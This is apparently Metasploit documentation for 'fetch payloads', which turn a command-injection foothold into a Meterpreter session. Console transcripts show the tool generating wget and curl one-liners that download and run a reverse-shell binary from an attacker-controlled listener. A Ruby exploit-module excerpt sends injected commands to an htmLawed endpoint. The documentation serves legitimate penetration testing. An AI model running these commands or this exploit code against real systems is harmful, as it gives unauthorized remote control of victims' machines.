Fetch Payloads
What Are Fetch Payloads?
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and transports, but we’ve added an optional fetch payload adapter on top to stage the payloads using a networking binary and server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a command injection or code execution vulnerability and a known binary with the ability to download and store a file.
Terminology
In the following documentation, it is useful to agree on certain terms to use so we don’t get confused or confusing. Fetch Payload
- The command to execute on the remote host to retrieve and execute the Served Payload
Fetch Binary
- The binary we are using on the remote host to download the Served Payload. Examples might be WGET, cURL, or Certutil. Fetch Protocol
- The protocol used to download the served payload, for example HTTP, HTTPS or TFTP. Fetch Listener
- The server hosting the served payload. Fetch Handler
- The same as Fetch Listener
Served Payload
- The underlying payload we want to execute. We also might call this the Adapted Payload
. Served Payload Handler
- The handler for the served payload. This is just a standard payload like meterpreter/reverse_tcp
or shell_reverse_tcp
.
Organization
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you’d like to run on the remote host to download the served payload prior to execution.
Here is the naming convention for fetch payloads: <cmd>/<platform>/<fetch protocol>/served_payload
For example: cmd/linux/https/x64/meterpreter/reverse_tcp
Will do four things:
- Create a
linux/x64/meterpreter/reverse_tcp
elf binary to be the served payload. - Serve the above served payload on an HTTPS server
- Start a served payload handler for the served payload to call back to
- Generate a command to execute on a remote host that will download the served payload and run it.
A Simple Stand-Alone Example
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let’s assume a Linux target with the ability to connect back to us with an HTTP connection and a command execution vulnerability. First, let’s look at the payload in isolation:
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
View the full module info with the info, or info -d command.
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
Options
FETCH_COMMAND
is the binary we wish to run on the remote host to download the adapted payload. Currently, the supported options are CURL FTP TFTP TNFTP WGET
on Linux hosts and CURL TFTP CERTUTIL
on Windows hosts. We’ll get into more details on the binaries later. FETCH_FILENAME
is the name you’d like the executable payload saved as on the remote host. This option is not supported by every binary and must end in .exe
on Windows hosts. The default value is random. FETCH_SRVHOST
is the IP where the server will listen. FETCH_SRVPORT
is the port where the server will listen. FETCH_URIPATH
is the URI corresponding to the payload file. The default value is deterministic based on the underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying served payload is the same. FETCH_WRITABLE_DIR
is the directory on the remote host where we’d like to store the served payload prior to execution. This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
The remaining options will be the options available to you in the served payload; in this case our served payload is linux/x64/meterpreter/reverse_tcp
so our only added options are LHOST
and LPORT
. If we had selected a different payload, we would see different options.
Generating the Fetch Payload
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
FETCH_SRVPORT => 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
You can see the fetch payload generated: wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
Starting the Fetch Server
When you start the Fetch Handler
, it starts both the server hosting the binary payload and the listener for the served payload. With verbose
set to true
, you can see both the Fetch Handler and the Served Payload Handler are started:
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8000
[*] http server started
[*] Started reverse TCP handler on 10.5.135.201:4567
Fetch Handlers and Served Payload Handlers
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under Jobs
, even though the Fetch Handler is listening:
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
Killing the Served Payload handler will kill the Fetch Handler as well:
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
Using Fetch Payloads on the Fly
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly, without relying on a session in framework or having to get a payload on target. If you have a shell session or even a really odd situation where you can execute commands, you can get a session in framework quickly without having to upload a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
Using it in an exploit
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch payloads for a given platform by adding a target that supports ARCH_CMD
and the desired platform, either windows
or linux
. Once the target has been added, you can get access to the command by invoking payload.encoded
and use it as the command to execute on the remote target.
Example paired with CmdStager
There is likely to be some overlap between fetch payloads and command stagers. Let’s talk briefly about how to support both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command stagers. in this case, I’m only documenting the changes to make so that fetch payloads will work alongside command stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
In this case, I’ve modified the code provided in the command stager documentation to support both linux and unix command payloads. All I did was give an array value for the Platform
value and change theType
to something more generic:
'Targets' =>
[
[ 'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'unix', 'linux' ],
'Type' => :nix_cmd
}
]
]
For the execute_command
method, nothing changes:
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
The only change in the exploit method is the use of the more generic Type
value in the case statement. Nothing else needs to change.
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
If you have an exploit that already supports Unix Command payloads and you’d like it to support Linux Command payloads like Fetch Payloads, you can simply add the linux
value to the platform array:
'Nix Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
}
Supported Commands
Windows And Linux Both
CURL
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows targets. All options and server protocol types are supported by the cURL command.
TFTP
The TFTP binary is useful only in edge cases because of a long list of limitations: 1) It is a Windows feature, but it is turned off by default on Windows Vista and later. 2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases. 3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured, nor does it allow for the destination filename to be configured, so FETCH_SRVPORT
must always be set to 69 and FETCH_WRITABLE_DIR
and FETCH_FILENAME
must be empty. Listening on port 69 in Framework can be problematic, so I suggest that you use the advanced option FetchListenerBindPort
to start the server on a different port and redirect the connection with a tool like iptables to a high port. For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection on UDP port 69 to UDP port 3069: sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069
sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069
Then, you can set FetchListenerBindPort
to 3069 and get the callback correctly. 4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you start a tftp fetch handler, a new service will start:
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port, and FETCH_URI
value but serving different payloads. This will result in a race condition where the payload served is non-deterministic.
Windows Only
Certutil
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports HTTP
and HTTPS
protocols.
Linux Only
FTP
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it may not be appropriate for older systems.
TNFTP
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are present on a system, so the command will be tnftp
rather than ftp
.
WGET
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options. It is ubiquitous on Linux hosts and very standard, making it an excellent choice.